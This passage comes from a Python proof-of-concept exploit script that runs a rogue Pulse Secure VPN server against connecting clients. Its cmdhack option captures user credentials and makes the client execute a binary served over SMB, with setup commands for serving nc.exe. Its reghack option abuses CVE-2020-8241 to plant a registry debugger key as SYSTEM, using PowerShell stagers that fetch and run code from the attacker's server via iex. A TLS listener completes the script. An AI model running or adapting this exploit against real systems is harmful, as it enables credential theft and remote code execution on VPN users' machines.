Herrera, 2019) detailed write up on this attack. Although the initial 200 | compromise vector is different, i.e. we don't need to compromise the server, the attack is the same. 201 | 202 | Pulse copies the binary to %userdata%\\tmp and then executes it. There is no obvious way to pass arguments. We use UNC instead. 203 | Quick way to setup smbserver on Kali: 204 | 1. cp /usr/share/windows-binaries/nc.exe /tmp 205 | 2. cd /usr/share/doc/python-impacket/examples 206 | 3. ./smbserver.py TEST /tmp -smb2support 207 | 4. python rogue-pulse-svr.py -i 172.16.10.220 --cmdhack \\\\172.16.10.220\\test\\nc.exe 208 | ''' 209 | print("The default attack option is selected.") 210 | print("It will send the user a request to login and capture credentials before executing cmd.") 211 | print("Payload at: %s" % args.cmdhack) 212 | print("") 213 | CMDHACK=True 214 | CMD=args.cmdhack 215 | else: 216 | CMDHACK=False 217 | if args.reghack: 218 | ''' 219 | Reghack exploits CVE-2020-8241. This allows us to create an arbitrary registry key as SYSTEM. 220 | 221 | One method of acquiring code execution is by abusing Windows debugging options and installing a malicious “debugger” 222 | when a particular executable is run. For the PoC we just poison "notepad.exe" with cmd.exe. 223 | 224 | The affected registry key is: 225 | Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe 226 | 227 | When attempting to exploit this in the lab we ran into several challenges that we had to overcome. 228 | 229 | Due to length restrictions with the debugger string, two registry keys are required, called “stage0” and “stage1”. 230 | The first stager simply calls the second stager which has a much larger buffer to play with. 231 | 232 | Stager 0 (queries reg key t): 233 | powershell -command iex(Get-ItemPropertyValue -Path 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe' 234 | -name t) # 235 | 236 | As the attack is hardcoded, “stager1” needs a way of dynamically calling home. For this, the stager acquires the 237 | hostname from the Pulse Secure Client configuration file, performs a UNC request for “1.txt” and then evaluates it. 238 | 239 | Stager 1 (generic payload to call back to rogue server): 240 | $u=Select-String -pattern 'uri: "(.*)"' "C:\ProgramData\Pulse Secure\ConnectionStore\connstore.bak" | % {$_.matches} | % {$_.groups[1]} | % {$_.value} 241 | if($u) 242 | { 243 | $u='\\'+$u+'\t\'+'1.txt' ### $u = ‘\\{svr_in_config}\t\1.txt’ ### 244 | iex(gc $u) 245 | } 246 | 247 | Note, the PoC was not weaponised. Instead, it simply sets up cmd.exe as a debugger for notepad.exe. After executing, we can run 248 | notepad.exe to test if the target is vulnerable, or check if the debugger key exists in the above registry path. 249 | ''' 250 | print("reghack (CVE-2020-8241) is selected (see code comments).") 251 | print("It will perform an autologin and not request the user to authenticate.") 252 | print("") 253 | REGHACK=True 254 | CMDHACK=False 255 | CMD="blah" # TODO 256 | else: 257 | REGHACK=False 258 | 259 | if CMDHACK == False and REGHACK == False: 260 | exit("No attack selected. Please use --cmdhack or --reghack options. Use -h for help.") 261 | 262 | sock = socket.socket() 263 | sock.bind((HOST, PORT)) 264 | sock.listen(5) 265 | context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) 266 | context.load_cert_chain(certfile=CERT, keyfile=KEY) 267 | print("Listening for clients....") 268 | 269 | while True: 270 | conn = None 271 | ssock, addr = sock.accept() 272 | try: 273 | conn = context.wrap_socket(ssock, server_side=True) 274 | handle(conn) 275 | except ssl.SSLError as e: 276 | print(e) 277 | finally: 278 | if conn: 279 | conn.close() 280 | 281 | if __name__ == '__main__': 282 | main() 283 | --------------------------------------------------------------------------------